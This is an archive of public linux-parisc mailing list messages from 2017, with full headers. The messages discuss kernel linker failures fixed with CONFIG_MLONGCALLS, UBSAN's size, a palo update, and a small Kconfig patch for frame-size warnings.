User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.3.0
To: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 11 16:25:00 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1drPdm-0007CP-4D
	for glpp-linux-parisc@m.gmane.org; Mon, 11 Sep 2017 16:24:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751581AbdIKOYx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 11 Sep 2017 10:24:53 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:59077 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751176AbdIKOYx (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 11 Sep 2017 10:24:53 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20170911142452.EXN14147.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 11 Sep 2017 10:24:52 -0400
Original-Received: from [192.168.0.138] (really [69.156.6.177]) by mtlspm02.bell.net
          with ESMTP
          id <20170911142451.WSQN3399.mtlspm02.bell.net@[192.168.0.138]>;
          Mon, 11 Sep 2017 10:24:51 -0400
In-Reply-To: <alpine.LRH.2.21.1709111713220.23935@math.ut.ee>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=d8Ia8VrE c=1 sm=0 tr=0 a=3ltiz+tVjlZyyvKV74jFzA==:17 a=IkcTkHD0fZMA:10 a=2JCJgTwv5E4A:10 a=7mOBRU54AAAA:8 a=FBHGMhGWAAAA:8 a=hcbV8GdyA1NTuLseGwUA:9 a=QEXdDO2ut3YA:10 a=wa9RWnbW_A1YIeRBVszw:22 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27792
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27792>

On 2017-09-11 10:17 AM, Meelis Roos wrote:
> While compiling 4.13+git on all of my gentoo parisc machines, I get tons
> of linking failures like below.
>
> $ ld -v
> GNU ld (Gentoo 2.26.1 p1.0) 2.26.1
>
> $ hppa64-linux-gcc -v
> Using built-in specs.
> COLLECT_GCC=/usr/hppa2.0-unknown-linux-gnu/hppa64-unknown-linux-gnu/gcc-bin/5.4.0/hppa64-unknown-linux-gnu-gcc
> COLLECT_LTO_WRAPPER=/usr/libexec/gcc/hppa64-unknown-linux-gnu/5.4.0/lto-wrapper
> Target: hppa64-unknown-linux-gnu
> Configured with:
> /var/tmp/portage/sys-devel/kgcc64-5.4.0/work/gcc-5.4.0/configure
> --host=hppa2.0-unknown-linux-gnu --target=hppa64-unknown-linux-gnu
> --build=hppa2.0-unknown-linux-gnu --prefix=/usr
> --bindir=/usr/hppa2.0-unknown-linux-gnu/hppa64-unknown-linux-gnu/gcc-bin/5.4.0
> --includedir=/usr/lib/gcc/hppa64-unknown-linux-gnu/5.4.0/include
> --datadir=/usr/share/gcc-data/hppa64-unknown-linux-gnu/5.4.0
> --mandir=/usr/share/gcc-data/hppa64-unknown-linux-gnu/5.4.0/man
> --infodir=/usr/share/gcc-data/hppa64-unknown-linux-gnu/5.4.0/info
> --with-gxx-include-dir=/usr/lib/gcc/hppa64-unknown-linux-gnu/5.4.0/include/g++-v5
> --with-python-dir=/share/gcc-data/hppa64-unknown-linux-gnu/5.4.0/python
> --enable-languages=c --enable-obsolete --enable-secureplt
> --disable-werror --with-system-zlib --enable-nls
> --without-included-gettext --enable-checking=release
> --with-bugurl=https://bugs.gentoo.org/ --with-pkgversion='Gentoo 5.4.0 p1.0'
> --enable-poison-system-directories --disable-shared
> --disable-libatomic --disable-threads --without-headers
> --disable-bootstrap --enable-__cxa_atexit --enable-clocale=gnu
> --disable-multilib --disable-altivec --disable-fixed-point
> --disable-libgcj --disable-libgomp --disable-libmudflap --disable-libssp
> --disable-libquadmath --enable-lto --without-isl --disable-libsanitizer
> Thread model: single
> gcc version 5.4.0 (Gentoo 5.4.0 p1.0)
>
> hppa64-linux-ld: init/main.o(.text+0x160): cannot reach strreplace
> init/main.o: In function `initcall_blacklisted':(.text+0x160): relocation truncated to fit: R_PARISC_PCREL22F against symbol `strreplace' defined in .text.strreplace section in lib/string.o
> hppa64-linux-ld: init/main.o(.text+0x1a4): cannot reach strcmp
> init/main.o: In function `initcall_blacklisted':(.text+0x1a4): relocation truncated to fit: R_PARISC_PCREL22F against symbol `strcmp' defined in .text.strcmp section in lib/string.o
> hppa64-linux-ld: init/main.o(.text+0x22c): cannot reach __ubsan_handle_type_mismatch
> init/main.o: In function `initcall_blacklisted':(.text+0x22c): relocation truncated to fit: R_PARISC_PCREL22F against symbol `__ubsan_handle_type_mismatch' defined in .text.__ubsan_handle_type_mismatch section in lib/ubsan.o
>
> and so on for pages, more than my terminal scrollback provides.
As far as gcc goes, you need to add -mlong-calls to avoid these errors.  
I think there is a config option. The kernel is too big and some "b,l" 
branches can't reach their targets.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 4.14 git: massive linker failures: cannot reach anything
Date: Mon, 11 Sep 2017 10:51:05 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <a1de44d2-0557-45d9-60cf-31c0570ffe88@bell.net>
References: <alpine.LRH.2.21.1709111713220.23935@math.ut.ee>
 <bd823006-04ae-0af3-30fb-10989a9729cc@bell.net>
 <alpine.LRH.2.21.1709111730140.23935@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1505141495 28201 195.159.176.226 (11 Sep 2017 14:51:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 11 Sep 2017 14:51:35 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.3.0
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 11 16:51:30 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1drQ39-0005dj-Jm
	for glpp-linux-parisc@m.gmane.org; Mon, 11 Sep 2017 16:50:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751384AbdIKOvG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 11 Sep 2017 10:51:06 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:55356 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751153AbdIKOvG (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 11 Sep 2017 10:51:06 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20170911145105.BUJW5285.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 11 Sep 2017 10:51:05 -0400
Original-Received: from [192.168.0.138] (really [69.156.6.177]) by torspm02.bell.net
          with ESMTP
          id <20170911145105.ESCH2751.torspm02.bell.net@[192.168.0.138]>;
          Mon, 11 Sep 2017 10:51:05 -0400
In-Reply-To: <alpine.LRH.2.21.1709111730140.23935@math.ut.ee>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=ONPI5WSB c=1 sm=0 tr=0 a=3ltiz+tVjlZyyvKV74jFzA==:17 a=IkcTkHD0fZMA:10 a=2JCJgTwv5E4A:10 a=FBHGMhGWAAAA:8 a=-E9sJLWA052uPZQ1u7cA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27793
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27793>

On 2017-09-11 10:45 AM, Meelis Roos wrote:
>>> hppa64-linux-ld: init/main.o(.text+0x22c): cannot reach
>>> __ubsan_handle_type_mismatch
>>> init/main.o: In function `initcall_blacklisted':(.text+0x22c): relocation
>>> truncated to fit: R_PARISC_PCREL22F against symbol
>>> `__ubsan_handle_type_mismatch' defined in .text.__ubsan_handle_type_mismatch
>>> section in lib/ubsan.o
>>>
>>> and so on for pages, more than my terminal scrollback provides.
>> As far as gcc goes, you need to add -mlong-calls to avoid these errors.  I
>> think there is a config option. The kernel is too big and some "b,l" branches
>> can't reach their targets.
> Thank you, yes, I found CONFIG_MLONGCALLS for that.
>
> However, the next strange thing is why did custom kernels of multiple
> different machines grew so much (A500 UP and RP3440 SMP kernels)? My
> kernel configs are quite minimalistic anyway, except I include
> everything needed for booting (no dependenc on initramfs, so sd, scsi
> driver and ext4 are in). Perhaps a binary format or two, PDC stable
> storage and anothe IO schaduler too, and some kernel debugging options
> like UBSAN.
UBSAN is huge.  Helge knows more about it.  I would only use it for test 
kernels.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 4.14 git: massive linker failures: cannot reach anything
Date: Mon, 11 Sep 2017 20:42:21 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <93a0f9de-b175-2278-6ef1-ef0b0d796580@gmx.de>
References: <alpine.LRH.2.21.1709111713220.23935@math.ut.ee>
 <bd823006-04ae-0af3-30fb-10989a9729cc@bell.net>
 <alpine.LRH.2.21.1709111730140.23935@math.ut.ee>
 <a1de44d2-0557-45d9-60cf-31c0570ffe88@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1505155360 3820 195.159.176.226 (11 Sep 2017 18:42:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 11 Sep 2017 18:42:40 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.3.0
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>,
        Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 11 20:42:35 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1drTf3-0004qW-9J
	for glpp-linux-parisc@m.gmane.org; Mon, 11 Sep 2017 20:42:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750999AbdIKSm2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 11 Sep 2017 14:42:28 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:59453 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750945AbdIKSm2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 11 Sep 2017 14:42:28 -0400
Original-Received: from [192.168.20.60] ([193.159.25.24]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LwJFG-1dN2UC3Bew-0182Dq; Mon, 11
 Sep 2017 20:42:22 +0200
In-Reply-To: <a1de44d2-0557-45d9-60cf-31c0570ffe88@bell.net>
Content-Language: en-US
X-Provags-ID: V03:K0:Nq0nKxvGNUfnOWIxB9UZupPYdTSjhtIobX8y8KJv0uWdyQ4Ha+V
 Jcw8WZ+rpF4tWm9rNfGHk3oFokblyzauRIZG7uDMa7mvXXmuk69z4JgfNQX65DTQGzYlJLm
 GfO0/NshbcJqoYTzMck7UuGte+Bz9KroDo4/mRzaAaZIKDe/4pbPecj7OxrM1TeW+PdzEMw
 m1f950qvuv5YNQut9VsEA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:/8asiNiouaI=:T9uKV8uP8XjmyjWVMKaNMV
 HBuTAW5x7n9jva7Lai6gfgEP9Hyavbpu/yFh2isoGyOLeb/J3MCgOqXJUdUGZqnIHs/E1Bho2
 g7R9qL898mROnn0zK9hMiRMR7ubq3O9UDYVMyi0nYqGG1Jvphc7u6zGcqrHsRuhws7DSFWbpp
 12HeCajZkhtEgB0z51EvoulHbh5Jl2bja43tfxTabhoPO40OPNuCT7q3HR8NvYvvAqengh9xT
 4RUzeU5hj7Ge8AyiFZayZgRzyRu0RzpHPmwlSkKrxiSBRbHjMcWEX9e0SbS1CQjujClAPmr6q
 J0o+CZjrtcm22dTWVlXAohsxjskZkNvMtQEq2/kqHTfu39nOSbsOvJx6pGH6pQYWCyo+IjRrb
 897LjhAa2RtZWO5H07+ielFISbbLQEpiKEOZHL3kAv6/GQudER1tj+afr8J2Ow/H9yoNIKrP/
 z7LvjGq1IwpWWi5yvzOYycR2mzTDQax4tOHSuq4TBbGK3qecnN9BEpPPFOMS6MBpC1W1kgPNg
 hWxLmmUohy754yUhHcOQqZTDIYp0SuN9W8OjdXH5UUB8AAzOcMqwyLQW28eaN6YbUViuyEdV5
 rX2ynxHHjWzLp3ETyTlce3B/S9hRgQ9+PTaQlduO/ze9o3xCJPHMM++8l46BEHM1TNDOFbevk
 BxCObQ2la56zIkD93XrSkUDJtBfCig7r8/NbY9n17ee5iv+Sqc/6Ec8x2As80ZOWFuQkGULt+
 eXle0XKb3m1pMLwQ9wZRofIw5Sc+Rrcr8gjrhY8U5mF4oxC0hZWzUnZtSld1LZWUsmY1bra3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27794
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27794>

On 11.09.2017 16:51, John David Anglin wrote:
> On 2017-09-11 10:45 AM, Meelis Roos wrote:
>>>> hppa64-linux-ld: init/main.o(.text+0x22c): cannot reach
>>>> __ubsan_handle_type_mismatch
>>>> init/main.o: In function `initcall_blacklisted':(.text+0x22c): relocation
>>>> truncated to fit: R_PARISC_PCREL22F against symbol
>>>> `__ubsan_handle_type_mismatch' defined in .text.__ubsan_handle_type_mismatch
>>>> section in lib/ubsan.o
>>>>
>>>> and so on for pages, more than my terminal scrollback provides.
>>> As far as gcc goes, you need to add -mlong-calls to avoid these errors.  I
>>> think there is a config option. The kernel is too big and some "b,l" branches
>>> can't reach their targets.
>> Thank you, yes, I found CONFIG_MLONGCALLS for that.
>>
>> However, the next strange thing is why did custom kernels of multiple
>> different machines grew so much (A500 UP and RP3440 SMP kernels)? My
>> kernel configs are quite minimalistic anyway, except I include
>> everything needed for booting (no dependenc on initramfs, so sd, scsi
>> driver and ext4 are in). Perhaps a binary format or two, PDC stable
>> storage and anothe IO schaduler too, and some kernel debugging options
>> like UBSAN.

> UBSAN is huge.

Yes, UBSAN is huge and is probably the reason why you see so many linker errors.
Beside enabling CONFIG_MLONGCALLS in the kernel, you probably need to
update palo [1] to version 1.99 as well. Please remember to update palo in the
boot sector on the harddisc too (run: "palo -v" once), otherwise
palo may refuse to load your kernel because of it's size (even if it's
compressed with gzip).

Helge

[1] https://git.kernel.org/pub/scm/linux/kernel/git/deller/palo.git/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: (unknown)
Date: Mon, 11 Sep 2017 21:35:33 +0200
Lines: 5
Approved: news@gmane.org
Message-ID: <20170911193533.GA17095@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505158549 10994 195.159.176.226 (11 Sep 2017 19:35:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 11 Sep 2017 19:35:49 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 11 21:35:44 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1drUUb-0002DR-2B
	for glpp-linux-parisc@m.gmane.org; Mon, 11 Sep 2017 21:35:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750911AbdIKTfo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 11 Sep 2017 15:35:44 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:49321 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751015AbdIKTfn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 11 Sep 2017 15:35:43 -0400
Original-Received: from ls3530.fritz.box ([193.159.25.24]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LngNT-1dEbRQ2EMZ-00hweD; Mon, 11
 Sep 2017 21:35:35 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:VD/TXRu98tdP/dFzfmeUXt0d+heC8liPAe0UK5KKLUzwtFu24wd
 seSu0GGgwYg5Oj2AbgwacJUvXvCfG5HvOtP/F7diHwA5BqtwT91qqFlES+Hdb4p6/fmsAPY
 QMG3flU0LKC9vLZRLauv9f5QrfhPkrkQpm1f6V4FOQUMcyjhue65m6Lk8nCsBdvzJjmeuIm
 dQtOIudo/GoqBMsuBcvQw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:dbgldFixS8w=:08H2H2Ln7TTywWNNiMMJXX
 aRu7DbpspFi6k/kvh5x5HMCR+dLawtTD3DBxKaHN92kkXzfiUDHZyUMQEQV4bD5MWLHLAU5Ty
 Z/rYhuLVAGUCRKqSWauNMlOdKp553njyUOROq2I9SfTJlCRycZo0ke2Q9AYGUIpz3Aimmp5qG
 cOdRzmgH1ufPgw6+TFfDPRS0sg4i1Ku7b6pL1QlRjjf5lnfYE4VCZNGPM64T3mlEL6xsYgVA6
 V2vZ/UXwhsxr+fSTnPQ7v9e3NIAQK775uATLNyJ/5udBahO52N9AStaMEfoGoTyDZt+IUz2gl
 +nEpad9tYThUK/Am0lUjJ03wbmuxpNuwPmJ3vGPOYNfKR/QCZfYACW1/89IVsQG68g+Ho7lcQ
 06oLQx1sWj/J9S7ALadLYzwul8pZlXY4Gn1JmOnXQc4C8ENwwSY3LBFY38/L304mcsncU0jBl
 Q/+Mq1MmudtFcw3nOWS10FbjQD201qYUNb90XjQ58FskNwjZyPaHsMpJGmpUBWsekWDE+0S4j
 XGfPTbeC5rw/Mx/nia257w5sPmNnUeGIOOzXCpX6ucvML74Kc78B/uOuSeK+ZNAZZUXwleQ1w
 hCF9vzqoN6IorE9Q56EH6WQaY5w/2NEyixxE/bT6gOr30NGkHYW65rq6Tk925vz3qQoxHGzdb
 b5e5hNyiwMukD83tuzl87UX77fYxC/V5O2LBy8LML3vt3R+jm4Kr0lLydQF/qxEoClhwSHO0I
 JWErKemT3wUhKP3nEYh+h9JqXOajVEEqtVu4tkkRNmFmUrQIHIPrNIuVV8opwSvPNd9h3h0P 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27795 gmane.linux.kernel:2568332
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27795>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: fs/select.c:991:1: warning: the frame size of 1032 bytes is
 larger than 1024 bytes
Date: Mon, 11 Sep 2017 21:41:43 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20170911194143.GA17131@ls3530.fritz.box>
References: <alpine.LRH.2.21.1709111719310.23935@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505158915 7568 195.159.176.226 (11 Sep 2017 19:41:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 11 Sep 2017 19:41:55 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: linux-parisc@vger.kernel.org,
        Linux Kernel list <linux-kernel@vger.kernel.org>
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 11 21:41:49 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1drUaU-0004ZI-Qg
	for glpp-linux-parisc@m.gmane.org; Mon, 11 Sep 2017 21:41:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751119AbdIKTlu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 11 Sep 2017 15:41:50 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:51863 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751028AbdIKTlt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 11 Sep 2017 15:41:49 -0400
Original-Received: from ls3530.fritz.box ([193.159.25.24]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MY3Ho-1dvo0v0dqy-00UqxC; Mon, 11
 Sep 2017 21:41:45 +0200
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.21.1709111719310.23935@math.ut.ee>
X-Provags-ID: V03:K0:1luLx1twmzdTNJ81pI2nHKeXib/B7itlGmms/W3YGuBIaa3ymdk
 G5tetmvoCbFjwl+VcpF9k8lECeFiV8ZVrhAmdlwFJupwN8XHVuWmMwUsIsdPwW0+gX7CGuJ
 ogMNAE5k1xSzkzX8ekPuz9xPbKeSVmv80eRDjTgFByNf6mRjBs+N0JRRmMdfBW2F1d7+9qa
 bhk1lhxJTYzckedMYchRA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:tuQ+3fZD5fY=:duVCHTpQjdP/2N/gSgT3TB
 KYTZLnQ3ZsJcakrC1FU+GXEOHjb/iUPrL3xAnxl4qJiwUAbYkSSmLNSOTMhuw5HuNT8kwycpW
 lMFawPKkSsKMrpQFnbZfbJS17JMpjtYEmWpW9liSzppX5KoHAf2mtx+6NGuToiAXSL5cX4KIQ
 PhuPwHjA9kZuCy1Ce2vHFa8a2ThNhv47l0X9TuqSXrOVvvtVnj4jQEnPcM/TUZUF6goq1QCyY
 8t+wtEYeYsQp2mj5tSurEmThcAIr7IVUA4y9ENSEmRlCQuY+DCCletrTHiJ8soZNoW8w9sj0U
 4gZxA3+GNJ8LQFURuSrpn9iTTrNTsqD28bjoqGsfDWO1/Gss19WRtfozN4kqpeHBjizI3jb18
 GSp4VoCXzs9l1WRR79xbRBGFyOUR3QA+S10T1L8v1YoK7omXHr4q8Qw4zPaLq7UIsWgoefl3F
 uwojXg54GgQ8BFgsEOmVgnjzA9n7KuGct4O00YmQOM7t6CcwoibiM/iTxy13lEf48gq4qo9Ex
 shoCDE7P2vsAUAjwnleaHyoqwHGg4vlDuCy6qfpkihWbu6wtYiESD4bcJEkqTIohV5gOb2SI7
 6RGrsT+B6mH9y3v5Uoz5G7y5De9zOigYBBCyvP8UDxki6iEKXNpJhjKYUrvv5DjtA/OlsucFU
 CggMIgAzGGSNjgyVGbE1EuYxoPmPL1H/HAU7SpL69SapnJnvYtFvdE6pVigIB3K4T8sOonysy
 Cu0l5rImpKTdEMDlTsg5hzA9XaWDqsOsAhOxnXtLV3aOl6+MMsAK00Uo6eTHuXErTG6T5fUS 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27796 gmane.linux.kernel:2568335
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27796>

* Meelis Roos <mroos@linux.ee>:
> fs/select.c:991:1: warning: the frame size of 1032 bytes is larger than 1024 bytes [-Wframe-larger-than=]
> arch/parisc/kernel/inventory.c:359:1: warning: the frame size of 1120 bytes is larger than 1024 bytes [-Wframe-larger-than=]

Meelis, this patch should fix both issues.
Can you test?

Helge

[PATCH] parisc: Fix too large frame size warnings

The parisc architecture requires larger stack frames than most other
architectures on 32-bit kernels.
Increase the default to 1280 bytes for parisc to avoid warnings in
do_sys_poll() and pat_memconfig() functions.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/lib/Kconfig.debug b/lib/Kconfig.debug
index b19c491cbc4e..2689b7c50c52 100644
--- a/lib/Kconfig.debug
+++ b/lib/Kconfig.debug
@@ -219,7 +219,8 @@ config FRAME_WARN
 	range 0 8192
 	default 0 if KASAN
 	default 2048 if GCC_PLUGIN_LATENT_ENTROPY
-	default 1024 if !64BIT
+	default 1280 if (!64BIT && PARISC)
+	default 1024 if (!64BIT && !PARISC)
 	default 2048 if 64BIT
 	help
 	  Tell gcc to warn at build time for stack frames larger than this.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: fs/select.c:991:1: warning: the frame size of 1032 bytes is
 larger than 1024 bytes
Date: Mon, 11 Sep 2017 23:16:37 +0300 (EEST)
Lines: 40
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.21.1709112315350.7844@math.ut.ee>
References: <alpine.LRH.2.21.1709111719310.23935@math.ut.ee> <20170911194143.GA17131@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1505161011 15742 195.159.176.226 (11 Sep 2017 20:16:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 11 Sep 2017 20:16:51 +0000 (UTC)
User-Agent: Alpine 2.21 (LRH 202 2017-01-01)
Cc: linux-parisc@vger.kernel.org,
        Linux Kernel list <linux-kernel@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
